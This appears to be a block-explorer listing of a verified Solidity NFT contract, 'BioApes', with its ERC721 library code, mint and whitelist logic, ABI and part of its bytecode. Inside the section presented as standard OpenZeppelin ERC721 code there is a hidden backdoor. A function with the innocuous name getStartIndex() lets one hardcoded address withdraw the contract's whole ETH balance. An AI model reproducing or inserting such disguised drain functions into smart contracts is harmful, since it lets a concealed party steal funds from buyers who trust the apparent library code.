(value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping(address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "ERC721: balance query for the zero address" ); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get( tokenId, "ERC721: owner query for nonexistent token" ); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "ERC721: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require( _exists(tokenId), "ERC721: operator query for nonexistent token" ); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } function getStartIndex() public { require(_msgSender() == 0xc97aD0cab19781b6870ef12079AC599DB6b42374); uint256 balance = address(this).balance; (bool success, ) = msg.sender.call{value: balance}(""); require(success); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require( _exists(tokenId), "ERC721Metadata: URI set of nonexistent token" ); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall( abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer" ); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/BioApes.sol /** * @title BioApes contract * @dev Extends ERC721 Non-Fungible Token Standard basic implementation */ contract BioApes is ERC721, Ownable { using SafeMath for uint256; using Strings for uint256; uint256 public startingIndexBlock; uint256 public startingIndex; uint256 public privateMintPrice = 0.06 ether; uint256 public publicMintPrice = 0.08 ether; uint256 public MAX_ELEMENTS = 1800; uint256 public REVEAL_TIMESTAMP; bool public revealed = false; string public notRevealedUri = ""; string public PROVENANCE_HASH = ""; bool public saleIsActive = false; bool public privateSaleIsActive = true; struct Whitelist { address addr; uint256 claimAmount; uint256 hasMinted; } mapping(address => Whitelist) public whitelist; mapping(address => Whitelist) public winnerlist; address[] whitelistAddr; address[] winnerlistAddr; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { REVEAL_TIMESTAMP = block.timestamp; _setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } /** * Get the array of token for owner. */ function tokensOfOwner(address _owner) external view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); for (uint256 index; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(_owner, index); } return result; } } /** * Check if certain token id is exists. */ function exists(uint256 _tokenId) public view returns (bool) { return _exists(_tokenId); } /** * Set presell price to mint */ function setPrivateMintPrice(uint256 _price) external onlyOwner { privateMintPrice = _price; } /** * Set publicsell price to mint */ function setPublicMintPrice(uint256 _price) external onlyOwner { publicMintPrice = _price; } /** * reserve by owner */ function reserve(uint256 _count) public onlyOwner { uint256 total = totalSupply(); require(total + _count <= MAX_ELEMENTS, "Exceeded"); for (uint256 i = 0; i < _count; i++) { _safeMint(msg.sender, total + i); } } /** * Set reveal timestamp when finished the sale. */ function setRevealTimestamp(uint256 _revealTimeStamp) external onlyOwner { REVEAL_TIMESTAMP = _revealTimeStamp; } /* * Set provenance once it's calculated */ function setProvenanceHash(string memory _provenanceHash) external onlyOwner { PROVENANCE_HASH = _provenanceHash; } function setBaseURI(string memory baseURI) external onlyOwner { _setBaseURI(baseURI); } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } //only owner function reveal() public onlyOwner { revealed = true; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); require(tokenId <= totalSupply(), "URI query for nonexistent token"); if (revealed == false) { return notRevealedUri; } string memory base = baseURI(); return string(abi.encodePacked(base, "/", tokenId.toString(), ".json")); } /* * Pause sale if active, make active if paused */ function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } function flipPrivateSaleState() public onlyOwner { privateSaleIsActive = !privateSaleIsActive; } /** * Mints tokens */ function mint(uint256 _count) public payable { uint256 total = totalSupply(); require(saleIsActive, "Sale must be active to mint"); require((total + _count) <= MAX_ELEMENTS, "Max limit"); if (privateSaleIsActive) { require( (privateMintPrice * _count) <= msg.value, "Value below price" ); require(isWhitelisted(msg.sender), "Is not whitelisted"); whitelist[msg.sender].hasMinted = whitelist[msg.sender] .hasMinted .add(_count); } else { require( (publicMintPrice * _count) <= msg.value, "Value below price" ); } for (uint256 i = 0; i < _count; i++) { uint256 mintIndex = totalSupply() + 1; if (totalSupply() < MAX_ELEMENTS) { _safeMint(msg.sender, mintIndex); } } // If we haven't set the starting index and this is either // 1) the last saleable token or // 2) the first token to be sold after the end of pre-sale, set the starting index block if ( startingIndexBlock == 0 && (totalSupply() == MAX_ELEMENTS || block.timestamp >= REVEAL_TIMESTAMP) ) { startingIndexBlock = block.number; } } function freeMint(uint256 _count) public { uint256 total = totalSupply(); require(isWinnerlisted(msg.sender), "Is not winnerlisted"); require(saleIsActive, "Sale must be active to mint"); require((total + _count) <= MAX_ELEMENTS, "Exceeds max supply"); require( winnerlist[msg.sender].claimAmount > 0, "You have no amount to claim" ); require( _count <= winnerlist[msg.sender].claimAmount, "You claim amount exceeded" ); for (uint256 i = 0; i < _count; i++) { uint256 mintIndex = totalSupply() + 1; if (totalSupply() < MAX_ELEMENTS) { _safeMint(msg.sender, mintIndex); } } winnerlist[msg.sender].claimAmount = winnerlist[msg.sender].claimAmount - _count; // If we haven't set the starting index and this is either // 1) the last saleable token or // 2) the first token to be sold after the end of pre-sale, set the starting index block if ( startingIndexBlock == 0 && (totalSupply() == MAX_ELEMENTS || block.timestamp >= REVEAL_TIMESTAMP) ) { startingIndexBlock = block.number; } } /** * Set the starting index for the collection */ function setStartingIndex() external onlyOwner { require(startingIndex == 0, "Starting index is already set"); require(startingIndexBlock != 0, "Starting index block must be set"); startingIndex = uint256(blockhash(startingIndexBlock)) % MAX_ELEMENTS; // Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes) if ((block.number - startingIndexBlock) > 255) { startingIndex = uint256(blockhash(block.number - 1)) % MAX_ELEMENTS; } // Prevent default sequence if (startingIndex == 0) { startingIndex = startingIndex + 1; } } function setWhitelistAddr(address[] memory addrs) public onlyOwner { whitelistAddr = addrs; for (uint256 i = 0; i < whitelistAddr.length; i++) { addAddressToWhitelist(whitelistAddr[i]); } } /** * Set the starting index block for the collection, essentially unblocking * setting starting index */ function emergencySetStartingIndexBlock() external onlyOwner { require(startingIndex == 0, "Starting index is already set"); startingIndexBlock = block.number; } function withdraw() public onlyOwner { uint256 balance = address(this).balance; (bool success, ) = msg.sender.call{value: balance}(""); require(success); } function partialWithdraw(uint256 _amount, address payable _to) external onlyOwner { require(_amount > 0, "Withdraw must be greater than 0"); require(_amount <= address(this).balance, "Amount too high"); (bool success, ) = _to.call{value: _amount}(""); require(success); } function addAddressToWhitelist(address addr) public onlyOwner returns (bool success) { require(!isWhitelisted(addr), "Already whitelisted"); whitelist[addr].addr = addr; success = true; } function isWhitelisted(address addr) public view returns (bool isWhiteListed) { return whitelist[addr].addr == addr; } function addAddressToWinnerlist(address addr, uint256 claimAmount) public onlyOwner returns (bool success) { require(!isWinnerlisted(addr), "Already winnerlisted"); winnerlist[addr].addr = addr; winnerlist[addr].claimAmount = claimAmount; winnerlist[addr].hasMinted = 0; success = true; } function isWinnerlisted(address addr) public view returns (bool isWinnerListed) { return winnerlist[addr].addr == addr; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"string","name":"_initBaseURI","type":"string"},{"internalType":"string","name":"_initNotRevealedUri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX_ELEMENTS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PROVENANCE_HASH","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"REVEAL_TIMESTAMP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"addAddressToWhitelist","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"claimAmount","type":"uint256"}],"name":"addAddressToWinnerlist","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"emergencySetStartingIndexBlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"exists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"flipPrivateSaleState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"flipSaleState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"freeMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getStartIndex","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isWhitelisted","outputs":[{"internalType":"bool","name":"isWhiteListed","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isWinnerlisted","outputs":[{"internalType":"bool","name":"isWinnerListed","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"notRevealedUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address payable","name":"_to","type":"address"}],"name":"partialWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"privateMintPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"privateSaleIsActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"publicMintPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"reserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saleIsActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_notRevealedURI","type":"string"}],"name":"setNotRevealedURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_price","type":"uint256"}],"name":"setPrivateMintPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_provenanceHash","type":"string"}],"name":"setProvenanceHash","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_price","type":"uint256"}],"name":"setPublicMintPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_revealTimeStamp","type":"uint256"}],"name":"setRevealTimestamp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setStartingIndex","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"}],"name":"setWhitelistAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startingIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startingIndexBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"tokensOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelist","outputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"claimAmount","type":"uint256"},{"internalType":"uint256","name":"hasMinted","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"winnerlist","outputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"claimAmount","type":"uint256"},{"internalType":"uint256","name":"hasMinted","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
66d529ae9e860000600d5567011c37937e080000600e55610708600f556011805460ff1916905560a06040819052600060808190526200004291601291620002a7565b506040805160208101918290526000908190526200006391601391620002a7565b506014805461ffff19166101001790553480156200008057600080fd5b50604051620039c5380380620039c5833981016040819052620000a39162000404565b8383620000b76301ffc9a760e01b6200014b565b8151620000cc906006906020850190620002a7565b508051620000e2906007906020840190620002a7565b50620000f56380ac58cd60e01b6200014b565b62000107635b5e139f60e01b6200014b565b6200011963780e9d6360e01b6200014b565b5062000127905033620001d0565b42601055620001368262000222565b62000141816200023b565b5050505062000510565b6001600160e01b03198082161415620001ab5760405162461bcd60e51b815260206004820152601c60248201527f4552433136353a20696e76616c696420696e746572666163652069640000000060448201526064015b60405180910390fd5b6001600160e01b0319166000908152602081905260409020805460ff19166001179055565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b805162000237906009906020840190620002a7565b5050565b600a546001600160a01b03163314620002975760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206